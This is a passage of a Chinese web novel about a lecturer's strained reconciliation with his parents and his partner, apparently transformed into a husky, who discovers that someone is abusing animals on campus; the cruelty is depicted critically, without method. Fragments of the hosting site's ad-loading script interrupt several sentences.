爸妈做菜的味道还是没有变,无论再如何吵架,这个家再如何面目全非,可身体却会替他将所有的记忆保留下来,只要再尝到一样的味道,那些他以为早就被忘记的东西如开闸泄洪似的占领了他的大脑。 “好吃吗?咸了还是淡了?” 喻母见他今天抵触的情绪不多,也开始试着和他搭话:“好久没做这道菜了,也不知道合不合你口味。” 喻熙不知道该如何应对她的关心。 很多亲戚都说他是个很优秀的孩子,重点初中,重点高中,重点大学,保研直博,留校当老师,比起其他人,他这前半生已经称得上“人生赢家”,不知道他还有什么不满 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意,又为什么像个疯子一样几乎和父母断绝关系。 喻熙并不是什么喜欢“凡尔赛”,喜欢“炫耀”的人,他只是单纯对父母觉得失望,尤其是对父亲的隐瞒感到愤怒。他从不认同所谓的升学上班会比家人的安危更重要,会比见亲人最后一面更重要,而他的父母却强迫着他改变自己的想法,这是他最不能忍受的。 所以从那以后,他越看父母越觉得他们可怖又冷血,所有的关心都像是演员精湛的表演。 包括现在。 他迅速地吃完了饭,起身准备离席。喻母正想给他夹菜,看见他起身后又放下了筷子。 喻熙瞥见了她眼里的失落,咬咬牙,生硬道:“......咸淡正合适,好吃的。” 他说完,匆匆去卫生间洗了手,而后再一次把自己关进了房间里。 闵嘉胥本来刚吃完鸡翅,正趴着回味这一餐的美味,看见喻熙向房间走时连忙起身跟上,生怕他再一次把自己丢在外面。 他小心翼翼地蹭了蹭喻熙,生怕对方又被亲妈气着。可喻熙的情绪好像很稳定,回复了学生的消息后将床帘拉上,打开了电视。 房间虽然常常有人打扫,但因为许久没有人住,显得格外冷清。 闵嘉胥上一次来这儿的时候,书架上还放着喻熙没来得及整理扔掉的高中辅导书,甚至其中有好多本上还留着闵嘉胥的笔记。 现在这些书也不知道哪去了,书架空荡荡的,像是实验室里的骨骼标本。 喻熙在CD架子上翻翻找找,找出来一张带着灰尘的光盘,回头望向哈士奇,很自然地问道:“《招魂》看吗?” 闵嘉胥怔了下,觉得这个场景有些熟悉。 在很多很多年前那个高三的暑假,在他刚表白完的那个暑假,喻熙也是这样拿着一张新买的光盘问了他同样的话。 喻熙似乎没觉得能等到狗的回复,只是象征性地问了这么一句,正准备把光盘放进读碟器,忽然有人在外面敲了敲门。 “小煕,可以进来吗?”喻母的声音依旧小心翼翼的,“我有东西给你。” 31.第 31 章 喻熙蹙眉看向门口,在心里纠结了一会儿到底让不让她进来。 他不太会,也不太想和喻母进行过多的交流。反正前面这么多年是这么过来的,往后那么多年也这么过就是了。他认为修复关系的过程其实也是一种把过去伤疤反复揭开的过程,依旧会很痛很累。 与其被二次伤害,不如就一直这样算了。 他想到这里,重重地叹了口气。 要是下午不鬼迷心窍地示好就好了,他想。 至少现在喻母不会来打扰他。 闵嘉胥看他坐在原地不肯开门,心里有点着急。 直觉告诉他,喻母或许是来道歉的。 他其实没想过两边能冰释前嫌,毕竟这么多年过去,要能理解早就理解了,现在才来说什么“我现在理解了你”都是假的虚伪的,喻熙不需要这样迟来的理解。 可是喻熙很需要一个道歉,哪怕是说着“我没法理解你,但我会尊重你”的道歉。 闵嘉胥从床上跳下去,溜溜达达到门口,伸着爪子刨了刨门。 喻熙拧着眉看向他:“你来凑什么热闹?” 狗“汪”了两声,歪着头看向他,装作听不懂他在说什么,又扒拉了两下门。 小狗爪敲在木门上,发出“哒哒”的声音。喻熙又叹了口气,磨磨蹭蹭地起身,有些不情不愿地给喻母开了门。 门打开时喻母怔了下,旋即抬头看向喻熙:“我打扰你了吗?” 喻熙摇摇头:“你有什么事吗?” “我......” 喻母从怀里摸出一个信封递给他,低声道:“这是你外公临走前要给你的东西,但是当时我们没喊你回家,所以到现在才拿给你,我们......” 她看了眼身后,喻父正坐在餐桌前一言不发,目光落在桌上,似乎没有要开口的意思。 “不是你要和小熙道歉吗?”喻母说,“你说话呀。” 喻熙听见她的话,愣在了原地,原本想说出口刺父母的话也哽在了嘴边。 喻父抬起头,看着有点不情不愿地说了声“对不起”。 “当年确实是我们不好,”喻母说,“想着你好不容易回来一次,就把话说开了吧。” “爸妈这些年也试着去理解你,但是可能时代不同了,爸妈还是没能想明白,只是觉得当年问你一句就好了。” “当年要是问问你的意见,问问你想不想回来,可能,可能......” 喻母说着说着声音有些哽咽,慌乱地抹了抹眼泪:“妈也不是非要你原谅我们,就是想着有什么都说出来,这样彼此是不是都能稍微舒心一点?” “但我不会原谅你。” 喻熙觉得自己说的话实在冷血。 按常理,或者按照小说和电视剧里的桥段,他应该抱着妈妈号啕大哭,父亲依旧维持“沉默如山”的人设暗自流泪,一家人就此手拉着手和好如初——— 但显然他不会这么做的。 这件事对他的创伤是永久的,他确实很需要一次这样的道歉,可他绝不会就这么轻易地原谅对方。 不然就好像背叛了当年那个绝望又愤怒的自己。 “我接受你们的道歉,但我不会原谅你们,”喻熙轻声说,“就算我接受了道歉,往后也不会和小时候一样了。” 这个答案似乎在喻母的意料之中,却让她好像更伤心了,捂着脸摇摇头,低声道:“好,好,我知道了。” 喻熙看着她,动了动唇,半晌后有些生硬地开口:“如果没什么其他事的话,我关门了。” 他说完,退后两步,正要轻轻关上门,门把手忽然被人按住了。 “那往后能多回家几次吗?” 喻母近乎恳求地看向喻熙:“可以吗?” 依照电视剧的情节,喻熙应该说“可以”。 但喻熙最终还是叹了口气:“不知道,看情况吧。” 他把卧室门关上,觉得自己实在有些冷血。 如果被亲戚知道,他又要被骂“不知好歹”,又要被说“不是已经给你道歉了吗你还想怎样”,可他不明白这些人为什么会义正严辞地指责他,原谅与否,难道不是他自己的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事吗? 喻熙觉得头很疼。 他宁可回学校去处理成堆的文献和学生写出来的狗屁不通的论文,也不愿意再纠结于家庭关系的漩涡里,每次结束和父母的交谈都精疲力尽。 他顺手把那张《招魂》的碟片推进读碟机,坐在床边拆开了信封,发现里面是两张100元和一张字条。 字条上的字笔画颤抖,写的是繁体,但却看得出一笔一划的刚劲有力。 那是他外公写的字。 喻熙拿着字条的手控制不住地颤抖着,大脑忽地一阵眩晕,有些看不清字条上的字。 狗似乎知道他的情绪不好,静静地趴在他身边,用毛茸茸的头蹭了蹭喻熙的胳膊。 字条兴许是老人在病入膏肓时写下的,手很抖,字体也变形了不少,几乎难以分辨。 可喻熙还是看懂了那上面写的什么。 “小熙学费,好好学习。” 落款日期是许多年前的那个夏天。 老人当时已经病入膏肓了,但唯一惦记的却是没回家的孩子,甚至不知道从哪弄来了这200元钱,就想着给喻熙交学费。 但他也确实病糊涂了,200元哪里够学费钱呢? 喻熙忽然毫无征兆地无声痛哭起来。 闵嘉胥鲜少见他情绪这样外露,有些慌张地站起来,把头探到喻熙面前,想看看他的情况如何。 喻熙用纸巾擦了擦泪水,小声问他:“可以抱抱你吗?” 哈士奇歪了歪头,不知道有没有听懂他说什么,但依旧挤进了他的怀里。 喻熙抱着小狗,把脸埋进了他毛毯似的毛里,轻轻吸了吸鼻子。 小狗身上有股爆米花的味道,混杂着人们常说的“小狗味”,莫名让人觉得很安心。 闵嘉胥不知道该怎么安慰他。 哭是因为父母的道歉而释怀呢,还是因为发现外公直到去世之前一直在想着自己? 哈士奇仰起头,轻轻舔着喻熙的侧脸。 哭吧,哭出来就好了。 今天哭完,往后都是好日子。 32.第 32 章 喻熙周日下午走的时候喻父和喻母都不在家。 虽然这次回家三人的关系看似有所缓和,但喻熙一点都不想和他们有更多的交流,就这样平平淡淡保持最远距离就好。 闵嘉胥虽然对喻熙的所有做法都表示赞同,但这么早就回去了还是有点不舍。 他实在觉得喻母那道鸡翅做得特别好吃,还以为临走前能再吃一嘴。 但是回家也很好,闵嘉胥想。 德罐很好吃,晚上和喻熙窝在一起看电视很有趣,只要和喻熙待在一起他什么都会做的。 这两天光是在家待着喻熙就有点身心俱疲,没时间管学校的事,直到坐上车才有空回几条工作上的消息。 他回复完学生和同事,把消息列表往下拉,看见了一个几乎没怎么见过的头像,思考了一会儿才想起来这应该是隔壁学院研一新选出来的学生会主席。 对方的头像是粉色系的,是一直比较火的“线条小狗”,说话语气也很礼貌,看起来像个女孩子:“喻老师好,打扰了,我们学院这边有个活动,想拍摄一期关于动物保护专题的宣传片,在找本地的小狗演员。我听陈老师说您家有只小狗,方便的话可以来剧组当小狗演员吗~如果有偿的话也是可以的!” 喻熙指尖顿了下,轻轻“啧”了一声。 陈生这小子还是话这么多,三两句就能把他的个人情况卖了。 他斟酌了下,指尖悬在屏幕上,原本想直接婉拒的,但不知怎么就是下不去手,犹犹豫豫了半天,最后回复道:“看情况吧,我不知道我家狗愿不愿意出门。” 喻熙本身不爱社交,带狗去学校参加这个活动就意味着要和各种自己不熟悉的外院学生打交道。 但是到时候应该会有不少老师和学生带狗去拍摄吧,自家的狗也会有机会交到朋友呢。 车停在小区门口,哈士奇不知道他在思考什么,只知道主人好像又有点不开心,一路上又是扑蜻蜓又是追着自己尾巴转圈的跑来跑去,用尽浑身解数逗喻熙开心。 喻熙看他生龙活虎的样子,唇角微微上翘,一边打开家门让狗进去,一边问道:“明天想跟我一起出去吗?” 也不知道所有小狗都对“出去”两个字格外敏感,哈士奇的耳朵倏地就竖了起来,一双眼睛亮晶晶地望向他。 好像还蛮感兴趣的。 喻熙把钥匙放好,看着狗在地垫上擦完了脚,又开口:“明天和我去学校,去吗?” 他下意识地觉得狗是能听懂他说什么的,于是不自觉就多了商量的语气,试着和自己的狗沟通:“要拍个短片。” 闵嘉胥心说这真是个好机会。 那天他晚上和唐鸿信待在一起的时候,唐鸿信忽然问他那晚搞偷袭的人他有没有什么头绪。 闵嘉胥正焦头烂额地批复文件,暂时没空思考,分出点精力问道:“你就有头绪了?” “我倒是真有,”唐鸿信神神秘秘说,“平时喻哥的社交圈子其实不大,也就同事和学生,其他学术研讨会的同僚都在外地,有空有闲作案的不就那两类人群吗?” 闵嘉胥的笔停了下来,抬头看向他:“什么意思?” “还能有什么意思?” 唐鸿信俯身贴着闵嘉胥的耳边,小声说:“他同事和学生里有坏人呗。” 闵嘉胥倒是有心去学校做调查,但无奈他一只狗,还是只大型犬,实在没那个本事在不引起任何骚动的情况下独自跑到学校去。 但现在机会好像就这么来了。 他“汪汪汪”地叫了好几声,尾巴快摇成了螺旋桨,蹦蹦跳跳地蹭到了喻熙的身边,用尽毕生所学对着喻熙撒起娇来。 喻熙不知道他到底听懂了还是没听懂,被他这积极主动撒娇的态度吓了一跳,扬起眉看他:“什么意思?” 哈士奇一双小狗眼亮晶晶的,满是期待地看向他,又呜呜嘤嘤地不知道在说什么。 “带你去学校怕你不听话啊,”喻熙说,“万一你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惹了什么事,不还是我处理?” 他说这话七分假三分真,其实真有些担心哈士奇人来疯在学校撒了欢,他估计要跟在狗身后给狗擦屁股。 虽然他家的哈士奇好像和同品种的狗不太一样,但喻熙还是担心那个“万一”。 狗应该听懂了他的话,眨了下眼,转身走到了玄关,把刚脱下来的项圈叼了过来,然后又重复了一遍这个路线,叼来了牵引绳。 他兴致勃勃地将项圈塞进了喻熙的手中,又用头拱着喻熙的腿,示意他把项圈给自己戴上。 “不听话就戴项圈?” 喻熙笑了下,轻轻扬起手,项圈“啪”地一声落在狗的后背上。 一股无端的痒意从落点倏地蔓延至整个后背,让闵嘉胥蓦地打了个战,那种陌生的热意猝不及防地从小腹炸开,让他的呼吸越来越沉重。 从前他看视频,觉得狗挨了主人的打说不定会记仇,但现在他却发现自己很享受这样被喻熙抽打。 他应该是真的出了什么问题。 脑子里想的是这样不对,可身体却十分诚实地向前靠了靠,又用头拱着喻熙的手,不知是催促他再打自己一下,还是让对方把项圈给自己戴好。 “你每次戴项圈都很主动,”喻熙轻声说,“什么癖好啊?” 闵嘉胥自己也说不清,翻了个儿躺在地上,向喻熙不设防地露出肚皮。 喻熙知道狗是在讨好他,抬手在狗的肚皮上轻轻弹了一下,满意地看见狗身子抖了抖,四只爪子瞬间缩了起来。 “好了,别撒娇了,起来吧,”他说,“明天带你去。” 哈士奇一骨碌从地上爬起来,激动得“汪汪”叫了两声,似乎在回应他说的话。 在喻熙看不见的地方,狗眼中那清澈的单纯慢慢消失。 闵嘉胥舔了舔唇,看着喻熙的背影,微微眯起眼,露出几分得逞的神色。 只要能顺利进到学校,明天这个同事和学生他就查定了。 33.第 33 章 喻熙学校的这个公益组织在望海市的志愿者协会登过记,每年都会组织一些动物保护相关的活动。他们会做一些很有特点的小制品,以此盈利,维系社团组织活动的基础经费,如果还有多的就捐给需要的流浪动物收容中心。 去年喻熙就买过他们做的不织布小动物,一只布偶猫一只哈士奇,那只哈士奇现在还在闵嘉胥的车里挂着。 虽然他平时不太喜欢社交,但是却喜欢在暗中支持一下这样还有着人文主义理想的社团,被陈生嘲笑“偷感很重”。 他似乎就是这样不会光明正大表达出“喜欢”的人。 在喻熙答应会带狗去拍视频后,对方很快地将拍摄时间发了过来。哈士奇第一次和他去学校,表现得格外兴奋,一路上嗅嗅闻闻,注意力相当涣散,时不时地就要追着蝴蝶或蜻蜓拐进另一条路,又被喻熙蹙着眉拉回正道。 在反复了几次后,喻熙终于忍无可忍,冷下脸揪住狗的后颈,声音冷冷道:“再关注那些莫名其妙的东西,你就自己滚回家吧。” 哈士奇被这么一威胁,眼神瞬间清澈了不少,咽了口唾沫,蓝黑的鸳鸯眼避开他的目光向其他方向游离,整只狗的脸上写满了“心虚”两个字。他勾着前爪,小心翼翼地摸了下喻熙,似乎在说自己知错了。 喻熙瞪了他一眼,这才慢慢放开狗的后颈。哈士奇似乎真把他说的话听进去了,规规矩矩贴着路边走,一边走一边呜呜嘤嘤,像是受了天大的委屈。 喻熙懒得理这只戏很多的狗,一路无言地将狗带进了学校,找到了约定好的小花园。 平日喻熙算是比较有名的严师,学术能力强,要求高,甚至连组里的几个学生都不太敢没事主动找他闲聊。兴许是今天他牵着一只和气质毫不匹配的哈士奇,让他显得平易近人了不少,三两个也牵着狗的学生凑过来,借着狗和喻熙说上了话。 闵嘉胥仰起头,抽了抽鼻子,觉得头有些晕。 学校的气味复杂程度非同凡响,让他这个刚做狗的人有点闻不过来,过了好久才缓过神来,稍微分辨出了喻熙的味道。 他正要往喻熙身边贴过去,一道嘹亮又热情的声音从他身后响起:“哎呀哎呀,有新朋友!” 闵嘉胥回头,看见一只小泰迪蹦蹦跳跳地走了过来,尾巴摇得像是出了残影,歪着头看向他:“你叫什么名字啊?” 又来了。 那天去过一次狗公园回来,闵嘉胥就觉得身心俱疲,不是因为玩得太投入,而是他觉得和狗交朋友真的好累。 上大学的时候职业规划课测过Mbti,他测出来自己是E人,也就是那种会选择社交作为充电方式的人。毕业后经营起公司,他也确实比其他人更擅长社交。 但哪怕是个100%的E人,在小狗社交这方面也要甘拜下风。 闵嘉胥如临大敌,整只狗都进入了戒备状态,紧张地看向迎面过来的小泰迪,生怕他发出“同玩”的邀请。 “你这么瞪着我干什么?” 泰迪贴着他停了下来,对他挤眉弄眼道:“你是新来的,不懂我们的规矩吧?” 规矩? 你们很熟吗? 闵嘉胥愣了下,旋即想起来之前喻熙好像真的和他提起过学校有个公益社团,成员偶尔会带宠物来团建,难道是多次团建后留下的所谓“规矩”? “看见那只狗了吗?”泰迪说,“那是我们这边的头头,我们所有狗都要听他的,吃冻干也要他吃完了我们再吃,但是奶酪棒我们可以先吃,猛狗不爱吃奶酪棒。” 闵嘉胥循着他的目光看去,果真在一棵树旁看见了一只德牧,这会儿正懒洋洋地趴在地上晒太阳。旁边围了两三只小狗,像是在献殷勤。 你们狗界居然也这么等级分明的吗? “我劝你别惹他,他是警犬退役,没人打得过他,”泰迪似乎误解了他的目光,好心好意地提醒他, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “也不要和玛丽多说话,大哥正在追求玛丽,但是玛丽不同意。” 玛丽又是谁。 闵嘉胥对他们狗与狗之间的爱恨情仇不太感兴趣,也没有闲心思知道狗中老大的心上狗是谁,只想快点和这只碎嘴泰迪拉开距离。 “但是我有个大逆不道的小梦想,你想听吗?” 泰迪绕到闵嘉胥身前,挡住了他撤退的路,自顾自兴致勃勃地继续说:“我其实暗恋玛丽,玛丽和我一样是泰迪,我们才是更配的才狗佳狗,但就因为那只德牧我们必须分开,我是不甘心的,我想要反抗,我需要志同道合的朋友!” 他嘴里嘀嘀咕咕地说着,目光灼灼地看向闵嘉胥:“今天这个志同道合的朋友终于降临在我身边了,这是我的幸运!” 没想到这小泰迪蹦蹦跳跳地像个小棕跳蚤,还有这么伟大的梦想。 他不好意思打断对方,耐着性子听着,忽然发现气味里属于喻熙的那缕消失了。 闵嘉胥刚刚的松弛瞬间消失,两只耳朵倏地立了起来,警觉地望向喻熙刚才还在的位置,而后鼻子贴在地上仔仔细细地嗅了起来。 正在发表演讲的泰迪看见他这幅样子,有些奇怪道:“哥们儿,你这是在干什么?” “我主人不见了,”闵嘉胥终于开口,神色凝重,“我要去找他。” “多大点事。” 泰迪压根就不把他说的放在心里,像某些成功学大师一样给他洗脑:“像我们这种有抱负的狗就应该远离主人,原理温柔乡,这样才能成大事,主人是不重要的你知道吗,狗生只能靠自己,你应该......” 闵嘉胥打断他,一字一句道:“我的主人很重要,特别重要。” 他说完,循着喻熙消失的方向追了过去,留泰迪一只狗呆愣在原地。 泰迪被他刚刚满是杀意的目光吓了一跳,半晌才缓过神,小声嘀咕:“你觉得重要就重要呗,凶我干什么?” 34.第 34 章 学校里每天有成千上万个人来来去去,闵嘉胥只闻了一会儿就觉得头疼欲裂。 在众多繁杂的气味里分辨追踪自己最需要的那一个未免太难,更何况他现在甚至连分辨都做得不好,也难怪从前看过相关科普讲过搜救犬和缉毒犬这种功能性犬种的寿命比其他狗短。 他站在小花园的栏杆旁边,把鼻子贴在地上闻了又闻,可还是没找到他熟悉的气味。他有些泄气地垂下头,用前爪扒拉了两下地上的杂草,叹了口气。 要么还是回去吧,闵嘉胥想。 就算他怀疑学校里有想对喻熙不利的人,但对方不会选择在有这么多人的地方下手。 也许喻熙本人不参与拍摄呢? 闵嘉胥在心里这么安慰自己,刚要转身回去,眼角余光却瞥到了一个匆匆从栏杆处挤进来的身影。 学校虽然规定外卖需要放在校外的外卖柜里,但是很多学生觉得外卖柜太远,所以经常和骑手在花园的栅栏处交易,久而久之这里就被一些晚归的学生开辟出了一条躲过查寝的通道。 闵嘉胥有些警觉地望了过去,却什么人也没看到。 他有些迟疑地迈开腿,慢慢栏杆走去,小心翼翼地跨过豁口,站在了学校外面的一条后街上。 不同于学校里道路的干净整洁,这里似乎是个钉子户常驻小区,街道上卫生环境极其恶劣,污水横流,甚至还有肉眼可见的虫子小跑着从路边溜走。 闵嘉胥的嗅觉确实被放大了无数倍,这会儿污水和腐烂垃圾的味道他一个没漏闻了个清楚明白,有些恶心地干呕了下,险些被熏吐了。 算了吧,不就是看见了一个鬼鬼祟祟的黑影么?这和喻熙也没什么关系吧。 本能让他想后退,可转念一想,万一这个黑影真的是他要找的人怎么办? 他咬咬牙,忍着反胃的气味小心沿着凹凸不平的小路慢慢往前挪,在路边发现了一个用蓝色铁皮围起来的仓库。 这似乎是钉子户小区居民的垃圾堆放处,酸臭味占据了大部分的空气,可闵嘉胥却仍能嗅出一丝夹杂在其中不同寻常的味道。 他警觉地仰起头,竭尽全力地抓住了那一丝“不对劲”,绕着蓝色铁皮的小仓库转了几圈,最后终于下定决心钻了进去。 仓库的角落里有一个被打翻的烧杯,而在烧杯旁边则躺着一个黑糊糊的影子。 这个烧杯出现得实在是太突兀了。 闵嘉胥慢慢挪了过去,那股异样的味道却在这一瞬间被立刻放大了几百倍,毫无预兆地侵占了他的嗅觉,呛得他再次干呕起来。 不同于周遭的酸臭和腐烂的味道,这是血腥味。 他的眼睛很快适应了昏暗的光线,低头向那团黑糊糊的东西看去,浑身的血液瞬间凝固了,让他脚下动也不能动,生根似的扎在了原地。 那是一只狗,毛发有些凌乱,沾满了风干的泥土,应该是一只流浪的小土狗。 如果是别的狗,他最多会生出一种类似同类之间“惺惺相惜”的感觉而后离开,可闵嘉胥偏偏对这只狗很有印象。 几个月前他来学校接喻熙下班,喻熙的一个学生实验出了问题,临时要加班。他有些百无聊赖地想学校里乱逛,驻足在了一间阶梯教室前。 这是隔壁文学院的阶梯教室,而他在投身商场之前有段时间也短暂地想成为一个文艺青年,于是躲在门后悄悄听起课来,听着听着就听见教室里响起了热闹的笑声,而后头发花白的老教师拎着一只小狗从教室出来,把狗放在了地上。 狗应该是这所学校的“狗学长”。 闵嘉胥闲着也是闲着,蹲下对狗“嘬嘬嘬”了几声。狗平时在学校里当街溜子,对人类没有任何的警惕心,摇头晃脑地就走了过来。 他在身上摸了一圈,摸出来一包小面包,掰碎喂给了这只小狗。 而现在这只和自己有一面之缘的小狗正静静地躺在污水横流的地上,毫无声息,像一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只被人丢弃的布娃娃。 可闵嘉胥知道这是一个被恶意剥夺了生命的小动物,根本不是什么本就没有生命的布娃娃。 他冷汗直流,往后退了几步,警惕地望向仓库外面悄无声息的街道。 有句俗话说,当你在家发现一只蟑螂时,你的家里怕是已经有无数蟑螂了。 当你发现一只被虐杀的小动物时,这个地方此前兴许已经不知道葬送了多少条生命了。 闵嘉胥动物的本能让他精神紧绷,弓着背慢慢从仓库中退了出来,沿着来时的路一路狂奔,终于站在了温暖明媚的阳光下。 “你去哪了?” 喻熙正和几个学生四处找狗,看见他自己回来后松了口气,声音中难免多了几分责怪:“不可以在学校里乱跑知不知道?” 闵嘉胥张着嘴喘了两口气,而后忽然仰起头,用力咬住了喻熙的衣摆,将他往学校后门的方向拽去。 “你疯了?” 喻熙一开始没理解哈士奇的意思,以为狗只是和往常一样人来疯,可呵斥后狗却没有松嘴的意思,反而发出了有些悲伤的“呜呜”声。 是出了什么事吗? 不知道这种信任是从哪来的,但喻熙就是觉得自家狗不是那种会不分场合捣乱的狗。 “我出去一趟,”他匆匆和那个学生会会长打了个招呼,“有事随时微.信找我。” 哈士奇等不及他和对方说完话,连拖带拽地将人带到了后门,自己率先钻过了洞,站在另一边等着喻熙过来。 喻熙有点洁癖,看见后门外的卫生状况时忍不住皱了皱眉。 哈士奇小跑着在前面带路,在那间仓库门口停了下来,急切地低声“汪汪”吠叫着,表情似乎也变得格外严肃。 喻熙不明所以地随着他驻足的方向望去,待他的眼睛适应了昏暗的光线,看清地面上横陈的小狗尸体时,反胃的感觉本能地翻江倒海席卷而来,让他控制不住地干呕起来。 35.第 35 章 平时接触了很多病人,做过病理实验,也能对着医学影像纪录片面不改色地吃饭,但在此刻喻熙觉得有种从灵魂深处而来的恶心与恐惧翻涌而出。 作为一个养宠物的人,他无法接受小动物惨死,更无法接受它们的尸体被这样抛弃在地面上,完全可以算是“死无全尸”。 这是虐杀。 哈士奇在他脚边“呜呜”地叫了两声,抬头看向他,眼中多了几分隐晦的担忧。 他知道以喻熙的性格绝对不会想看见这一幕,但除了喻熙以外,又不会有其他人能理解一条狗的所作所为。 闵嘉胥抬起前爪,轻轻蹭了蹭喻熙的腿。 喻熙回过神,垂眸,语气中多了几分颤抖:“怕吗?害怕就先出去好了。” 闵嘉胥眨了下眼,鼻子轻轻哼出一声气音。 笨蛋啊,他想。 明明是自己难过又难受得要死,还在担心一只狗害不害怕。 喻熙深吸了一口气,慢慢向那个横陈着小狗尸体的角落走去,和闵嘉胥一样注意到了那个翻倒的烧杯。 学生购买实验器材,大部分时间都需要老师的签字批准。虽然烧杯试管之类的器材很不起眼,但喻熙仍然对这个型号的烧杯有印象。 应该就是从他们实验室里拿出来的。 他伸手,正要忍着恶心感将烧杯拿起来,却忽然想到这枚烧杯上或许会有犯人的线索,轻轻“啧”了一声后又将手放了下来。 在学校后面发现了虐杀小动物的仓库,仓库里还有他们实验室一直在用的烧杯,事实显而易见—— 他们实验室里,甚至是他的学生里有虐待小动物的人。 喻熙不愿推出这个事实,但又不得不承认这个事实,和仓库里有些浑浊的空气一起让他头晕目眩。 喻熙用手机给仓库拍了两张照片,回头时发现自家哈士奇正蹲在门口,两只耳朵竖得高高的,留给他一个警觉的背影,忠心耿耿地当他的守卫。 怎么会有人舍得对这么可爱的小动物下死手。 喻熙的脸色很冷,低声对哈士奇道:“走了。” 哈士奇闻言起身,对他摇了摇尾巴,紧紧地贴在他身边。 喻熙没见过哈士奇这么温驯体贴的时刻,以为是他害怕了,抬手摸了摸哈士奇的头,轻声道:“不怕,没事的。” 他不清楚哈士奇懂不懂死掉的是自己的同类,也不清楚哈士奇懂不懂有人虐待小狗,他只是下意识的想保护自己的小狗,像很多年前那样。 哈士奇眨眨眼,偏过头蹭了蹭他的手心。 小狗的头毛茸茸的,靠在喻熙掌心像一团轻轻跳动的火焰,烫得他心里某个角落轻轻陷了下去。 他抿着唇,一路无话,直到回到校园内,才开口:“你去找刚才那个女生。” 哈士奇仰起头,似乎对他的话感到困惑。 喻熙这会儿才意识到他只是一条小狗,这样的指令对他来说还是太复杂了,轻叹一声,带着哈士奇回到刚才和学生会约好集合的地方。 “喻老师,现在就差这一只小狗了,”那个学生会会长看见他回来,迎了上来,“如果方便的话现在拍摄可以吗?” 喻熙点了点头,将手上的牵引绳交到她手上,叮嘱道:“我有点事,一会儿回来。” 学生会会长还没反应过来,手上的牵引绳就被拽了一下。 哈士奇似乎想和喻熙一起走,甩了甩脖子,似乎在试图挣脱开牵引绳。挣脱未果后有些垂头丧气地坐在了地上,连耳朵都垂了下去。 哪怕喻熙没说,闵嘉胥也知道对方大概是去找管事的反应虐待动物的情况了。理性告诉他完全可以放心喻熙处理问题的方式,他的爱人一直很靠谱很优秀。 但喻熙如果不在他视线里,他还是不放心,恨不能直接追上去。 *** 喻熙不知道自己被小狗惦记在心里,风风火火地回了医学院,径直去了院长办公室。 别的学院的学生没可能,也没必要非得来医学院偷特殊型号的烧杯,唯一有可能做出这种事的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只有医学院的学生。而那只被杀死的小狗,如果有可能化验死亡原因,或许也能检验出一些只有实验室里存在的化学药品。 偷拿实验室里的危险药品是很严重的事,其他高校过往也有很多学生偷药品投毒的案例,所以喻熙第一时间带着证据上报学院。 他推开院长办公室的门,正要开口,忽然发现屋子里还有别人。 池俊飞正站在办公桌前,看见他的时候有些意外:“老师?您怎么来了?” 喻熙一路走得匆忙,气息有些不稳,只对他点了点头,而后看向院长:“您现在有时间吗?” 院长看他的脸色不对,心里也“咯噔”了一下:“有时间,喻老师你有什么事?” 喻熙看了一眼池俊飞,池俊飞笑了笑,和院长道了别,转身离开了办公室,还贴心地把办公室的门关上了。 喻熙这才把手机放在办公桌上,调出自己拍的照片:“今天我在学校后面的仓库里发现了一只狗的尸体。这只狗是学校的流浪狗,被学生带去做了绝育,还登记在了学校的公众号上,但被人虐待之后杀了。” 院长的脸色瞬间变得凝重,迟疑片刻后道:“喻老师,流浪狗本身不属于学校,就算被人杀了也不是学校能管的,更何况你也没有证据说明这就是学校的老师还是学生做出的事,影响不好......” “我没有证据?” 喻熙一直都对他很有礼貌,这会儿终于忍不住打断了他的话:“这个烧杯只有医学院的实验室里批量买过,而能接触到这种烧杯的只有医学院的学生,这就是证据。” “但这事儿没法说理啊,”院长鼻尖渗出了汗,“你就算抓到那个人了也不能依法惩罚他,还影响了学校的名誉......喻老师,算了吧,只是流浪狗......” “只是流浪狗?” 喻熙垂眸看着他,语气很冷:“一个不尊重生命,毫无仁慈和爱心,以杀害流浪动物为乐的人在医学院学习如何救人如何成为一个医生,这难道不可怕吗?” 36.第 36 章 喻熙在大学工作了快十年,什么样的学生都见过,也不是那种以学历定人品的老师,自然不会觉得所有学生的品格都完美无缺,品行操守上没有半点问题。 可他认为,作为医生,作为一个医学生,“善良”是必备的品行,甚至很多时候要大于专业能力。 如果本质不善良,那该如何顶着压力去救治病人? 而现在摆在眼前的不只是这个学生不善良。 放在办公桌上的手机屏幕微微闪烁,片刻后熄灭了,映出院长的脸。 喻熙静静地看着他,额上满是细密的汗,撑在办公桌上的手轻轻发抖。 他知道学校或许会为了所谓的“名誉”让这件事悄无声息地消失,但他不想给学校这个机会。 “我理解您想维护学校的名誉,不想让坏事传出去,”他轻声说,“但是您有没有想过万一捂不住呢?万一这件事最后还是传了出去,变成了学校想息事宁人,包庇虐狗的学生不予处置呢?” “我再强调一遍,我们是医学院,出现这样的后果比通报批评更严重。” 院长抬手抹了抹自己发白的头发,长长地叹了口气,有些痛苦地捂住了头:“喻老师,你说......你说这个学生他是为什么会做这种事呢?是学业压力太大,还是家庭学校教育出了差错?我觉得......” 喻熙打断了他的话,冷声道:“您不要给加害者找理由。” 这是他惯常的看法,他认为伤害他人的事情已经发生,那么再给加害者找理由便毫无意义,没人想听杀人犯□□犯的心里有什么苦衷。就算他们有苦衷,那受害人就不苦吗? 就算是学业压力大,家庭和学校的教育出了问题,那也不应该做出这种伤害流浪小动物的事。 难道开膛破肚躺在地上的小狗就不苦吗? 院长有些惊讶地看着他。 平时喻熙不想过多维系和同事之间的关系,也不争什么奖项荣誉,人一直淡淡的,除了从研究生开始就和他是同门的陈生以外没人和他走得近,提起他时都说喻老师人好相处,就是有有些独,有些冷,不太能搞好关系。 而现在这个被人评价“独”“冷”的人站在他面前,因为这样一件事而情绪激动。 